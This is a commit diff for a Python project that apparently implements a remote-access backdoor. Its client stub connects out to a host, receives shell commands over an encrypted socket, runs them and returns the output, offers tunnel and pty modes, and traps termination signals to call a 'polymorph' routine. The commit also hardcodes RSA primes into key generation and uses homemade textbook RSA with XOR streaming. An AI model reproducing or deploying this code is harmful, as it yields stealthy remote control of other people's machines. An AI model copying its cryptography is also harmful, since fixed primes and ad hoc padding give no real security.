summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--crypto.py56
-rw-r--r--makefile3
-rw-r--r--pkcli_stub.py25
-rw-r--r--pkctl.py17
-rw-r--r--pkd_stub.py3
5 files changed, 66 insertions, 38 deletions
diff --git a/crypto.py b/crypto.py
index 7de099e..7994fad 100644
--- a/crypto.py
+++ b/crypto.py
@@ -7,8 +7,8 @@ class Crypto:
def byte_length (i):
return -(-i.bit_length()//8)
- def i2b (i):
- return i.to_bytes(Crypto.byte_length(i), 'big')
+ def i2b (i, sz=None):
+ return i.to_bytes(sz if sz else Crypto.byte_length(i), 'big')
def b2i (b):
return int.from_bytes(b, 'big')
@@ -55,32 +55,36 @@ class Crypto:
def pad(m, bits):
headsz = Crypto.headsize(bits)
- chunks, nbytes = [], bits//8-headsz-Crypto.rand_pad-1
+ chunks, nbytes = [], -(-bits//8)-headsz-Crypto.rand_pad-1
while len(m) > nbytes:
- chunk = Crypto.i2b(nbytes) + m[:nbytes]
+ chunk = Crypto.i2b(nbytes, headsz) + m[:nbytes] + secrets.token_bytes(Crypto.rand_pad)
m = m[nbytes:]
chunks.append(Crypto.b2i(chunk))
- chunk = Crypto.i2b(len(m)) + m + secrets.token_bytes(nbytes - len(m) + Crypto.rand_pad)
- chunks.append(int.from_bytes(chunk, 'big'))
+ chunk = Crypto.i2b(len(m), headsz) + m + secrets.token_bytes(nbytes - len(m) + Crypto.rand_pad)
+ chunks.append(Crypto.b2i(chunk))
return chunks
def unpad(p, bits):
- m_chunks, headsz = [], bits//8-1, Crypto.headsize(bits)
+ nbytes = -(-bits//8) - 1
+ m_chunks, headsz = [], Crypto.headsize(bits)
for p_chunk in p:
- chunk = Crypto.i2b(p_chunk)
+ chunk = Crypto.i2b(p_chunk, nbytes)
chunksz = Crypto.b2i(chunk[:headsz])
m_chunks.append(chunk[headsz:headsz+chunksz])
return b''.join(m_chunks)
def encrypt(m, e, n, bits):
- return [Crypto.i2b(pow(p, e, n)) for p in Crypto.pad(m, bits)]
+ nbytes = -(-bits//8)
+ return [Crypto.i2b(pow(p, e, n), nbytes) for p in Crypto.pad(m, bits)]
def decrypt(p, d, n, bits):
return Crypto.unpad([pow(Crypto.b2i(c), d, n) for c in p], bits)
def keygen(bits=2048):
- p, q = Crypto.pgen(bits >> 1), Crypto.pgen(bits >> 1)
+ #p, q = Crypto.pgen(bits >> 1), Crypto.pgen(bits >> 1)
+ p = 24255437060933278568327701135893465111281929996020213283563016322587538898307222832676648856557095025772204413206980826822975131457046546497523091381599846376591186469347076218208800469787851326371447052505831886762813382071182380079565671280034572474822918684998169291052805586193101619898239325398349038870346792747848088462443207267957917761324031277878527517794286421236832567949642803568424614512153948596887559236723641422745633542467824845355764889656771928727895545492980157734692593529905622895318376798465152794082339714326113478586369772394086511968434509576965140800722212375216417198365996986997884522143
+ q = 19768976408982925938974295924028441291658237346176654371253117928175549332214544184956873153703986985390178340362842925095394171723247001148381841608957916206559941167745803865591902614480793421765383057879093169950619962622549993022767924551441062799960937735273562540998394372954466434657886766982923637838307867760458002688852634523140205959841808840422174672818444274740218202285908370264201317843186892579386846520240651724201292430263438230872027782342582077071631797326347450149692183612550505452085046398227369191676244454566325746209776357595496074364519226187538979254031364601406997434831185228055585873117
n, e, d = p*q, Crypto.exp, pow(Crypto.exp, -1, (p-1)*(q-1))
return p, q, n, e, d
@@ -142,23 +146,25 @@ class PKSock:
assert(type(b) == bytes)
if len(b) < 1:
return
-
+
if self.streaming and not force_normal:
if not self.osk or self.oskp >= len(self.osk):
self.push_sk()
- while len(b) > len(self.osk) - self.oskp:
+ while len(b) >= len(self.osk) - self.oskp:
b_frag = b[:len(self.osk)-self.oskp]
- k = self.sk[self.skp:self.skp+len(b_frag)]
+ k = self.osk[self.oskp:self.oskp+len(b_frag)]
self.oskp += len(b_frag)
self.sock.sendall(bytes([b_frag[i] ^ k[i] for i in range(len(b_frag))]))
b = b[len(b_frag):]
self.push_sk()
- k = self.osk[self.oskp:self.oskp+len(b)]
- self.oskp += len(b)
- self.sock.sendall(bytes([b[i] ^ k[i] for i in range(len(b))]))
+ if len(b) > 0:
+ k = self.osk[self.oskp:self.oskp+len(b)]
+ self.sock.sendall(bytes([b[i] ^ k[i] for i in range(len(b))]))
+ self.oskp += len(b)
+ assert(self.oskp < len(self.osk))
else:
p = Crypto.encrypt(b, self.rpk['e'], self.rpk['n'], self.bits)
- self.raw_send(Crypto.i2b(len(p)))
+ self.raw_send(Crypto.i2b(len(p), self.headsz))
for chunk in p:
self.raw_send(chunk)
@@ -180,8 +186,9 @@ class PKSock:
def handshake_client (self):
rnbytes = Crypto.b2i(self.raw_recv(self.headsz))
- self.raw_send(Crypto.i2b(self.nbytes))
+ self.raw_send(Crypto.i2b(self.nbytes, self.headsz))
if self.nbytes != rnbytes:
+ print('nbytes mismatch: %d vs %d' % (self.nbytes, rnbytes))
return False
self.rpk = {'n': Crypto.b2i(self.recv()), 'e': Crypto.exp}
@@ -189,17 +196,26 @@ class PKSock:
def handshake_server (self, server_pk):
self.rpk = server_pk
- self.raw_send(Crypto.i2b(self.nbytes))
+ self.raw_send(Crypto.i2b(self.nbytes, self.headsz))
rnbytes = Crypto.b2i(self.raw_recv(self.headsz))
if self.nbytes != rnbytes:
+ print('nbytes mismatch: %d vs %d' % (self.nbytes, rnbytes))
return False
- self.send(Crypto.i2b(self.priv['n']))
+ self.send(Crypto.i2b(self.priv['n'], self.nbytes))
+ return True
def push_sk (self):
+ print('PUSH_SK')
self.osk = secrets.token_bytes(self.sksz)
self.oskp = 0
self.send(self.osk, force_normal=True)
+ print('RETURNED')
def pull_sk (self):
+ print('PULL_SK')
self.isk = self.recv(force_normal=True)
self.iskp = 0
+ print('RETURNED')
+
+ def close (self):
+ self.sock.close()
diff --git a/makefile b/makefile
index 496bdd4..ccadcbd 100644
--- a/makefile
+++ b/makefile
@@ -3,6 +3,9 @@ all:
(echo "#!"`which python3` && cat crypto.py && cat pkcli_stub.py) >pkcli.py
clean:
rm -f pkd.py pkcli.py *.pid *.sock *.log
+test:
+ python3 pkcli.py localhost 30 4096
+ python3 pkd.py pk.sock pk.pid pk.log 4096 2236 default_key.json
install:
useradd -rUs /usr/sbin/nologin pkd || true
mkdir -p /run/pk /etc/pk
diff --git a/pkcli_stub.py b/pkcli_stub.py
index 09f7aae..1c9472f 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -52,8 +52,8 @@ def main():
def shield():
for sig in [signal.SIGHUP, signal.SIGINT, signal.SIGABRT, signal.SIGQUIT, signal.SIGTERM]:
signal.signal(sig, sh)
- for fd in [sys.stdin, sys.stdout, sys.stderr]:
- os.close(fd.fileno())
+ # for fd in [sys.stdin, sys.stdout, sys.stderr]:
+ # os.close(fd.fileno())
def sh(a, b):
polymorph()
@@ -75,7 +75,7 @@ def refresh_hdb():
return False
def get_hostkey(host):
- global hdb, exp
+ global hdb
if 'keys' not in hdb:
return False
hkdb = hdb['keys']
@@ -87,7 +87,7 @@ def get_hostkey(host):
return False
try:
return {'n': int(hostent['n']),
- 'e': int(hostent['e']) if 'e' in hostent else exp}
+ 'e': int(hostent['e']) if 'e' in hostent else Crypto.exp}
except:
del hkdb[host]
return False
@@ -147,8 +147,8 @@ def run_pty(sock):
sock.send(b'\xc0\xdenpty')
pty_barrier(sock)
return True
- except:
- return False
+ #except:
+ # return False
finally:
sel.close()
try:
@@ -157,7 +157,7 @@ def run_pty(sock):
pass
def work(h_addr, port, privkey, bits):
- global server_modulus, exp
+ global server_modulus
try:
host = socket.gethostbyname(h_addr)
except:
@@ -171,14 +171,15 @@ def work(h_addr, port, privkey, bits):
if hostkey:
rpubkey = hostkey
else:
- rpubkey = {'n': server_modulus, 'e': exp}
+ rpubkey = {'n': server_modulus, 'e': Crypto.exp}
if not sock.handshake_server(rpubkey):
+ print('fucc')
return True
PS1 = '$ '
if 'PS1' in os.environ:
PS1 = os.environ['PS1']
- sock.send(PS1)
+ sock.send(bytes(PS1, 'utf-8'))
while True:
cmd = sock.recv()
if cmd == b'tunnel':
@@ -205,9 +206,9 @@ def work(h_addr, port, privkey, bits):
response = str(response, 'utf-8')
except Exception as e:
response = '%s\n' % str(e)
- sock.send('%s%s' % (response, PS1))
- except:
- return True
+ sock.send(bytes('%s%s' % (response, PS1), 'utf-8'))
+ #except:
+ # return True
finally:
raw_sock.close()
diff --git a/pkctl.py b/pkctl.py
index 3709a3b..018c558 100644
--- a/pkctl.py
+++ b/pkctl.py
@@ -2,11 +2,18 @@
import os, sys, signal, socket, selectors, time, tty
# basic config
-SOCKET_FILE = "/run/pk/pk.sock"
-PID_FILE = "/run/pk/pk.pid"
-DAEMON_FILE = "/usr/bin/pkd"
-LOG_FILE = "/var/log/pk.log"
-KEY_FILE = "/etc/pk/server_key.json"
+# SOCKET_FILE = "/run/pk/pk.sock"
+# PID_FILE = "/run/pk/pk.pid"
+# DAEMON_FILE = "/usr/bin/pkd"
+# LOG_FILE = "/var/log/pk.log"
+# KEY_FILE = "/etc/pk/server_key.json"
+# DAEMON_PORT = 2236
+# DAEMON_BITS = 4096
+SOCKET_FILE = "./pk.sock"
+PID_FILE = "./pk.pid"
+DAEMON_FILE = "python pkd.py"
+LOG_FILE = "./pk.log"
+KEY_FILE = "./default_key.json"
DAEMON_PORT = 2236
DAEMON_BITS = 4096
diff --git a/pkd_stub.py b/pkd_stub.py
index cac525c..695db77 100644
--- a/pkd_stub.py
+++ b/pkd_stub.py
@@ -283,7 +283,7 @@ def tcp_disconnect(sel, client):
if client not in tcp_clients:
return
- sel.unregister(client['sock'])
+ sel.unregister(client['sock'].sock)
client['sock'].close()
client['alive'] = False
idx = tcp_clients.index(client)
@@ -327,6 +327,7 @@ def tcp_unpty(sel, client, catchup=True, backtrack=0):
def tcp_transport(sel, sock, client):
global tcp_clients, privkey, bits
+
if not client['alive']:
return
try: